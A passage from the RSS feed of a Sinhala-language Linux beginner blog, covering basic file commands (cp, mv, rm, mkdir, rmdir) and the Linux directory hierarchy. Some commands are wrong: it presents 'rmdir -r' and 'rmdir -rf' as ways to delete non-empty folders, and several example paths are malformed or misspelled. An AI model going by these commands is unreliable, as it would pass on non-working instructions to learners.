&lt;li&gt;&lt;i&gt;&lt;u&gt;Documents ෆෝල්ඩරයේ සිට කොපි කරන ආකාරය.&lt;/u&gt;&lt;/i&gt;දැන් අප සිටින්නේ /home/Documents/ ෆෝල්ඩරයේය. එම නිසා ටර්මිනලය :~/Documents$ ලෙස වෙනස් වී තිබේ.&lt;i&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/i&gt;දැන් පහත විධානය භාවිතා කිරීමෙන් අපිට අපේ වැඩේ කරගන්න පුලුවනි.&lt;i&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/i&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;~&lt;/span&gt;/Documents$ cp foo /home/subo/Music/&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;තවද පහත සඳහන් විධානය භාවිතා කිරීමෙන්ද මෙම කාර්යයම සිදු කරගැනීමට පුලුවනි.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;:~/Documents$ cp foo ../Music/&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;මෙම විධානය ඔබට තේරුම් ගන්න පුලුවන් වෙයි කියලා හිතෙනවා. &lt;/li&gt;
&lt;li&gt;&lt;i&gt;&lt;u&gt;Music ෆෝල්ඩරයේ සිට කොපි කරන ආකාරය.&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;දැන් අප සිටින්නේ /home/Music/ ෆෝල්ඩරයේය. එම නිසා ටර්මිනලය :~/Music$ ලෙස වෙනස් වී තිබේ.&lt;i&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/i&gt;එවිට භාවිතා කල යුත්තේ මෙවැනි විධානන්ය.&lt;i&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/i&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;:~/Music$ cp /home/Documents/foo .&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;හෝ&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;:~/Music$ cp ../Documents/foo .&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;මෙම . තිත මඟින් කියවන්නේ මෙහිම කොපි කරන්න කියලා.&lt;/li&gt;
&lt;li&gt;&lt;u&gt;&lt;i&gt;home ෆෝල්ඩරයේ සිට කොපි කරන ආකාරය.&lt;/i&gt;&lt;/u&gt;දැන් අප සිටින්නේ /home/ ෆෝල්ඩරයේය. එම නිසා ටර්මිනලය :~$ ලෙස පවතී.&lt;i&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/i&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;br /&gt;:~$ cp /Documetns/foo /Music/&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ෆෝල්ඩරයේ සිටම මෙම කොපි කිරීම සිදු කරන්නේ එලෙසය.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;ඉහත 3 වැනි ආකරයට සාකච්ඡා කල විදිහට home පමණක් නොව වෙනත් ඕනෑන ෆෝල්ඩරයක සිට වෙනත් ඕනෑම ෆෝල්ඩර් දෙකක් අතර ෆයිල්ස් කොපි කරගත හැකිය. මෙම සියලුම ආකාරයට කොපි කරන විට අපි කොපි කරන ෆයිල් එක කොපි වන්නේ එහි නියම ෆයිල් එකේ නමින්මය. එනම් foo යන නමින්මය.&lt;/li&gt;
&lt;/ul&gt;
ඔබට ෆයිල් එකකට වඩා එකවර කොපි කරගැනීමට අවශ්‍යය නම් එම සියලු ෆයිල්ස් හිස් තැනක් තබා ඉහත විධානයන්ටම එකතු කල හැකිය.&lt;br /&gt;උදාහරණ ලෙස ඔබට foo, bar සහ test යන ෆයිල්ස් කොපි කරගැනීමට අවශ්‍යය නම්&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;:~/Music$ cp /home/Documents/foo bar test .&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;යනුවෙන විධානය වෙනස් කර භාවිතා කල හැකිය.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;mv&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;mv = move&lt;br /&gt;මෙම විධානය භාවිතා කරන්නේ ෆයිල් move කිරීම සඳහායි.&lt;/span&gt;&lt;/span&gt; ඉහත cp විධානය භාවිතා කල ආකාරයෙන්ම මෙම mv විධානයත් භාවිතා කල හැකිය. උදාහරණ සඳහා ඉහත cp විධානයට අදාලව සාකච්ඡා කල උදාහරණ ව්ල cp වෙනුවට mv විධානය භාවිතා කරන්න.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;rm&lt;br /&gt;&lt;span style=&quot;color: black;&quot;&gt;rm = remove&lt;br /&gt;එනම් මෙම විධානය භාවිතා කරන්නේ ෆයිල්ස් සම්පූර්ණයෙනම ඉවත් කිරීම (delete) සඳහායි. ඉහත cp විධානයට අදාලව සාකච්ඡා කල විධාන වල cp වෙනුවට rm විධානය යෙදීමෙන් ඔබට මෙම විධානය අත්හදා බැලිය හැක.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;mkdir&lt;span style=&quot;color: black;&quot;&gt;&lt;br /&gt;mkdir = make directory&lt;br /&gt;මෙම විධානය භාවිතා කරන්නේ අලුතින් ෆෝල්ඩරයක් සාදා ගැනීම සඳහායි. ඔබට යනුවෙන් අලුත් ගොනුවක් නිර්මාණය කරගැනීමට අවශ්‍යය නම්&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;$ mkdir foo&lt;/span&gt;&lt;/span&gt;යනුවෙන් විධාන කරන්න. මෙම විධානය භාවිතා කිරීමෙන් ඔබට එකවර ෆෝල්ඩර ගණනාවක් වුවත් නිර්මාණය කර ගැනීමට හැකිය.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;$ mkdir foo bar test&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;rmdir&lt;br /&gt;&lt;span style=&quot;color: black;&quot;&gt;rmdir = remove directory&lt;br /&gt;මෙම විධානය මඟින් ෆෝල්ඩරයක් හෝ ෆෝල්ඩර කිහිපයක් එකවර ඉවත් කිරීම සිදු කල හැකිය.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;$ rmdir foo&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;br /&gt;&lt;/span&gt;$ rmdir foo bar test&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;වැදගත්:&lt;/b&gt;&lt;/u&gt;මෙම විධානය මඟින් ඔබට ඉවත් කිරීමට අවසර ලැබෙන්නේ දත්ත කිසිවක් අඩංගු නැති හිස් ෆෝල්ඩර පමණි. ඔබට යම් කිසි දත්ත ප්‍රමාණයක් තිබෙන ෆෝල්ඩරයක් ඉවත් කිරීමට අවශ්‍යය නම් පහත පරිදි විධානයට විකල්ප විධාන ලබා දෙන්න.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;$ rmdir -r foo&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;හෝ&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;br /&gt;$ rmdir -rf foo&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&amp;nbsp;මෙම මූලික විධාන ආශ්‍රයෙන් ඔබට පද්ධතියේ ඕනෑම ගොනු කළමණාකරන වැඩ කටයුත්තක් සිදු කල හැකිය. කියවීම පමණක් ඉගෙනීමට උපකාරී නොවේ. ඉගෙනගත්ත දේවල් භාවිතා කිරීම තුලින් ඔබට වඩාත් ඉක්මණින් ඉගෙනගැනීමට හැකිවේ. එම නිසා මේ දේවල් ඔබම අත්හදා බලන්න. උදාහරණ වල නොතිබුනු තවත් අලුත් අලුත් දේවල් කරන්න උත්සහ කරන්න. සමහර විට වරදීවී ඒත් වැරදීමකින් ඉගෙනගන්න දෙයක් ආයේ කවදාවත් අමතක වෙන්නේ නෑ. පොඩි හරි නොතේරන තැනක් ඇත්නම් සඳහන් කරන්න. පුලුවන් විදිහට තේරුම් කරලා දෙන්න උත්සහ කරන්නම්.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;අද ලිපිය ටිකක් දිග වැඩී වගේ. නමුත් මට ඕනෑ වුනේ ලිනක්ස් විධාන ගැන කිසිම දෙයක් දන්නේ නැති කෙනෙකුට වුවත් තේරුම් ගන්න පුලුවන් විදිහට ලිපිය ඉදිරිපත් කරන්න. ඒකයි උදාහරණත් එක්ක ලිපිය මෙච්චර දිගු වුනේ. ඒ පිළිබඳව සමාව ඉල්ලා සිටිමි. විධාන ගැන තවත් වැඩි විස්තර මීළඟ ලිපියෙන් බලාපොරොත්තු වන්න.&lt;/span&gt;&lt;/span&gt;</description><link>http://linux-sinhala.blogspot.com/2012/09/learn-linux-3.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpxWGh_bwrfwUO6vEx9_R1Kx8l4o2B5iwMGDIV2f_aGqmeAxOj_m6KwqMe5XJ1VUR3-P2rvW2V_gc8zRzpf5ZnGvhQJpbGfrJpl3nnxANe8_Ik2oD3VJKDaVZNcz6yu4HdWNFmqQPMAR8/s72-c/terminal.png" height="72" width="72"/><thr:total>18</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-4149447897987227804</guid><pubDate>Mon, 17 Sep 2012 14:29:00 +0000</pubDate><atom:updated>2012-10-08T20:00:21.228+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Basic</category><category domain="http://www.blogger.com/atom/ns#">File Hierarchy</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">මූලික සංකල්ප</category><title>ලිනක්ස් ගොනු නිර්මිතය. - ලිනක්ස් පාඩම් මාලාව #2</title><description>පෞද්ගලික වැඩ වගයක් නිසා ලිපිය හිතපු තරම් ඉක්මනට දාන්න බැරි වුන එකට මුලින්ම සමාව ඉල්ලා සිටිමී.&lt;br /&gt;
හොඳයි අපි පහුගිය ලිපියෙන් ලිනක්ස් පද්ධතියක නිර්මිතය ගැන කථා කරානේ. අද අපි බලමු ලිනක්ස් පද්ධතියක ගොනු නිර්මිතිය (Filesystem Hierarchy)ගැන.&lt;br /&gt;
ඔබ වින්ඩෝස් භාවිතා කරන්නෙක් නම් මේ පිළිබඳ ඔබට කිසිම අදහසක් නැතුව ඇති. නමුත් ලිනක්ස් වලින් වැඩ කරගෙන යාමට මේ පිළිබඳ දැනගැනීම ඔබට බොහෝම ප්‍රයෝජනවත් වේවි.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
ලිනක්ස් පද්ධතියක ගොනු නිර්මාණය පහත රූපයේ පරිදි සරළව ඉදිරිපත් කළ හැකිය.&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG_zXZ7ZHtHXn8EKBKXwaM-984cJ9z3IYRniejKrgPzEo3ASvpOjzCmbz4knwiqWlosDTRXTB0OWrzEKFw921vWahAbF0jm36NYh-dGxJyckNCdwpaJW8maVgaZOz60AssozYxfXyA3LQ/s1600/file_hir.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;213&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG_zXZ7ZHtHXn8EKBKXwaM-984cJ9z3IYRniejKrgPzEo3ASvpOjzCmbz4knwiqWlosDTRXTB0OWrzEKFw921vWahAbF0jm36NYh-dGxJyckNCdwpaJW8maVgaZOz60AssozYxfXyA3LQ/s320/file_hir.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;ලිනක්ස් ගොනු නිර්මිතය &lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
රූපයේ පරිදි ලිනක්ස් වල ගොනු නිර්මිතිය ප්‍රධාන ගොනුවක් ආශ්‍රයෙන් පවති. දැන් මෙම ගොනු පිළිබඳ විස්තර පිළිවෙලින් කථා කරමු.&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;/&lt;br /&gt;root යනුවෙන් හැදින්වෙන මෙම ගොනුව ලිනක්ස් පද්ධතියක ප්‍රධාන ගොනුව වේ. අපිට ලිනක්ස් වල වැඩ සිදු කරගැනීමට අදාළ වන සියලු ගොනු මෙය යටතේ පවතී.&lt;/li&gt;
&lt;li&gt;/bin&lt;br /&gt;අත්‍යාවශ්‍යය පද්ධති උපයෝගිතා.(Essential low-level system utilities) එනම් ලිනක්ස් පද්ධතියක වැඩ කිරීමට අවශ්‍යය මූලිකම විධාන (ls, cat, cp ....)වැනි දේවල් අඩංගු වන්නේ මෙම ගොනුවේය.&lt;/li&gt;
&lt;li&gt;/sbin&lt;br /&gt;සුපිරි පරිශීලකයා හෙවත් සුපර් යූසර් භාවිතා කරන විධාන අඩංගු වෙන්නේ මෙහිය. මෙමඟින් පද්ධති නඩත්තු කටයුතු මෙන්ම පද්ධතිය පවත්වාගෙන යාමට අදාල වූ විධාන (mount, init, ip ...)පාලනය කළ හැකිය.&lt;/li&gt;
&lt;li&gt;/home&lt;br /&gt;පරිශීලකයන්ගේ පුද්ගලික ගොනු සහ දත්ත පවතින්නේ මෙම ගොනුවේය. පරිශීලකයන් කිහිප දෙනක් පද්ධතිය භාවිතා කරන විට ඒ ඒ පරිශීලකයාට වෙන් වූ පුද්ගලික ෆෝල්ඩරයක් ඇති අතර ඒ සියල්ලම පවතින්නේ මෙම home ෆෝල්ඩරයේය. රූපයේ&amp;nbsp; දක්වා ඇත්තේ subo, dula සහ others යන පරිශීලකයන්ට අදාළ වූ ගොනුවේ. මෙය බොහෝ වේලාවට වින්ඩෝස් පද්ධතියක My Computer ට සමාන කළ හැකිය.&lt;/li&gt;
&lt;li&gt;/tmp&lt;br /&gt;තාවකාලික ෆයිල් ගබඩා කිරීමට වෙන්වූ ඉඩ මෙම ගොනුවේ තිබේ. උදාහරණ ලෙස යම් කිසි මෘදුකාංගයක් භාවිතා කිරීමේදි එය පාවිච්චි කිරීමට අවශ්‍යය වන අනෙකුත් ෆයිල්ස් තාවකාලිකව මෙම ගොනුවේ තැන්පත් වීම සිදුවේ.අන්තර්ජාලයේ වීඩියෝවක් නැරඹීමේදී භාගත වූ දත්ත වැනි තාවකාලික දත්ත මේ සඳහා උදාහරණ වේ.  මෙම ගොනුව ඕනෑම පරිශීලකයෙකුට භාවිතා කිරීමට හැකිය.මෙවැනිම ෆෝල්ඩරයක් වින්ඩෝස් වලද දැකිය හැක.&lt;/li&gt;
&lt;li&gt;/lib&lt;br /&gt;bin හා sbin තුල අඩංගු වැඩසටහන් ක්‍රියාත්මක කිරීමට අවශ්‍යය උපදෙස් අඩංගු කර ඇත්තේ මෙම ගොනුවේය. තවද පද්ධතියේ භාවිතා කරන වැඩසටහන් වලට අදාල වූ උපදෙස් අඩංගු වන්නේද මෙහිය.&lt;/li&gt;
&lt;li&gt;/usr&lt;br /&gt;පරිශීලකයන්ගේ කියවීමට පමණක් භාවිතා කරන දත්ත අඩංගු වන්නේ මෙහිය. පරිශිලක උපයෝගිතා සහ යෙදීම් වලින් බහුතරයක් ඇත්තේ මෙහිය.&lt;/li&gt;
&lt;li&gt;/usr/bin&lt;br /&gt;Higher-level system utilities and application programs&lt;br /&gt;එනම් පරිශීලකයා නිරතුරුව භාවිතා කරන පරිශීලකයාට වඩාත් සමීප පද්ධති වැඩසටහන් සහ මෘදුකාංග අඩංගු වන්නේ මෙහිය.&lt;/li&gt;
&lt;li&gt;/usr/lib&lt;br /&gt;Program libraries for higher-level user programs&lt;br /&gt;ඉහත /usr/bin යටතේ සාකච්ඡා කරන ලද වැඩසටහන් සඳහා උපදෙස් අඩංගු වන්නේ මෙහිය.&lt;/li&gt;
&lt;li&gt;/var&lt;br /&gt;විචල්‍ය්ය ෆයිල් එනම් යම් කිසි ක්‍රියාවක් සිදුවන විට ඊට සමගාමීව වෙනස් වන ෆයිල්, උදාහරණ ලෙස log ෆයිල්, ස්පූල් ෆයිල් සහ තාවකාලික ඊමේල් ලිපි ෆයිල් වැනි ෆයිල් අඩංගු වන්නේ මෙම ගොනුවේය.&lt;/li&gt;
&lt;/ul&gt;
&amp;nbsp;මෙය ලිනක්ස් පද්ධතියක ගොනු නිර්මිතය ඉදිරිපත් කල හැකි සරලම ආකරය වන අතර, සමහර කරුණු ඔබට මේ මොහොතේ 100% ක් නිවරැදිව වැටහෙන්නේ නැතිවෙයි. ඔබ දිගටම ලිනක්ස් භාවිතා කිරීමේදි ඔබට අද තේරුනේ නැති ගොඩාක් කරුණු යම් දවසක ඔබටම තේරේවී.&lt;br /&gt;
මෙම රූප සටහනට ඇතුලත් කර නැති තවත් ප්‍රයෝජනවත් ගොනු කිහිපයක් පිළිබඳ සටහනක් තබන්නම්.&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;/etc&lt;br /&gt;Unix-Linux පද්ධති වින්‍යාස සහ තොරතුරු ෆයිල්ස්. UNIX system configuration and information files.&lt;/li&gt;
&lt;li&gt;/dev&lt;br /&gt;දෘඩාංග පිළිබඳ තොරතුරු.&lt;/li&gt;
&lt;li&gt;/boot&lt;br /&gt;Boot loader ෆයිල්ස් එනම් කර්නලය වැනි පරිගණකය බූට් වීමේදි භාවිතා කරන ගොනු.&lt;/li&gt;
&lt;li&gt;/proc&lt;br /&gt;පද්ධතිය භාවිතා කිරීමේදී කර්නලය සමඟ අතුරුමුහුනතක් සේ කටයුතු කරන වර්චුවල් හෙවත් සත්‍යාසන්න ගොනු නිර්මිතය අඩංගු වන්නේ මෙහිය. සෑම සක්‍රීය වැඩසටහනක් හෝ සැකසීමක් වෙනුවෙන් උප ගොනුවක් මෙම ගොනුව තුල නිර්මාණය වේ.&amp;nbsp; A pseudo-file system which is used as an interface to the kernel.&lt;/li&gt;
&lt;li&gt;/opt&lt;br /&gt;අතිරේක මෘදුකාංග හා වැඩසටහන් පැකේජ.&lt;/li&gt;
&lt;li&gt;/media&lt;br /&gt;අපි මවුන්ට් කරන NTFS හාඩ් ඩිස්ක් හෝ CD-ROM වැනි දෘඩාංග මවුන්ට් වන්නේ මෙතනටය.&lt;/li&gt;
&lt;li&gt;/mnt&lt;br /&gt;තාවකාලිකව මවුන්ට් කරන ෆයිල්ස් මවුන්ට් වන්නේ මෙතනටය.&lt;/li&gt;
&lt;li&gt;/etc/x11&lt;br /&gt;අපි /etc යටතේ සාකච්ඡා කල ලිනක්ස් පද්ධතියේ ග්‍රැෆික් පිළිබඳ වින්‍යාස අඩංගු වන්නේ මෙහිය. එනම් අපේ වින්ඩෝ මැනේජරය ආදී වූ දත්ත.&lt;/li&gt;
&lt;/ul&gt;
&amp;nbsp;මෙම සාකච්ඡා කල ගොනුවලට ඔබටද පිවිසිය හැකිය. මේ සඳහා cd හා ls විධාන භාවිතා කල හැකිය.මගේ පරිගණකයේ එය සිදු කල ආකාරය පහත රූප සටහන් වලින් දක්වා ඇත.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgkkqfn5Ag5YJNa0KCpc7zzYXkltN7b85diN7EWQy5GpfZlYDBNnHCwAhwiD6n5NAtV21UEsLPYfuIaVHCCeHYukmJ_reHc6OGP1ahHzG523PTKW5pnwpbgkUFBrHzmBdhb5EOChZWYgY/s1600/bin.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;170&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgkkqfn5Ag5YJNa0KCpc7zzYXkltN7b85diN7EWQy5GpfZlYDBNnHCwAhwiD6n5NAtV21UEsLPYfuIaVHCCeHYukmJ_reHc6OGP1ahHzG523PTKW5pnwpbgkUFBrHzmBdhb5EOChZWYgY/s320/bin.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;/bin&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhldU9TGXebvvNGPFkFQ-L0IJgkRmKNh2vEokLK0mvGYHzVpmhB-KeVBMrN2N1I-r_MG2VPB5f7uFE1-C19t-HyEMh4Si59wiYTqMzM7YZXGzGZNYfnxcKcsbZN4NuJjr7zYqF-wwhv5eM/s1600/home.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;135&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhldU9TGXebvvNGPFkFQ-L0IJgkRmKNh2vEokLK0mvGYHzVpmhB-KeVBMrN2N1I-r_MG2VPB5f7uFE1-C19t-HyEMh4Si59wiYTqMzM7YZXGzGZNYfnxcKcsbZN4NuJjr7zYqF-wwhv5eM/s320/home.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;/home&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZHfxTrTD7MVUBPj9GmCFSAki0ksY6iOA7AMh4i2TQj3VO0JfdCeithy9L8Avw7OokmH7K_Aq-mnclw1wvtmOAXT7dzECDhxPtcc7n0uzuP4TuAOlV0vTYyhpmGids2wOIbElItzT8Rc0/s1600/root.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;217&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZHfxTrTD7MVUBPj9GmCFSAki0ksY6iOA7AMh4i2TQj3VO0JfdCeithy9L8Avw7OokmH7K_Aq-mnclw1wvtmOAXT7dzECDhxPtcc7n0uzuP4TuAOlV0vTYyhpmGids2wOIbElItzT8Rc0/s320/root.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;/&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijHzhhLwS6d1mxvWcj3p3s4_kXiBv7R9A0gS5MhnKg8AhVKV3UcPNDtFCzJf_OfEuFyR6QGw_BMjhWRcqb2m2rFpkHB-BNQtw72_ojhQJeqGwppD4Ujbr1P8gKPmo5dbPoSJmQzPv66EI/s1600/sbin.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;211&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijHzhhLwS6d1mxvWcj3p3s4_kXiBv7R9A0gS5MhnKg8AhVKV3UcPNDtFCzJf_OfEuFyR6QGw_BMjhWRcqb2m2rFpkHB-BNQtw72_ojhQJeqGwppD4Ujbr1P8gKPmo5dbPoSJmQzPv66EI/s320/sbin.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;/sbin&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXqKY_w5JTxD4LAYhS7vai27A1nab3Ul-kNCu4cQLGYYkX5v8WFtHbMyQ26eFLa-zoVkscw7lcjGPfWglx-uYzjqfPZ85vrEeKp9LLJHM_io4S7p0pisDKlFecix7TKrT3a3J0lcOuBMM/s1600/tmp.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;102&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXqKY_w5JTxD4LAYhS7vai27A1nab3Ul-kNCu4cQLGYYkX5v8WFtHbMyQ26eFLa-zoVkscw7lcjGPfWglx-uYzjqfPZ85vrEeKp9LLJHM_io4S7p0pisDKlFecix7TKrT3a3J0lcOuBMM/s320/tmp.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;/tmp&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
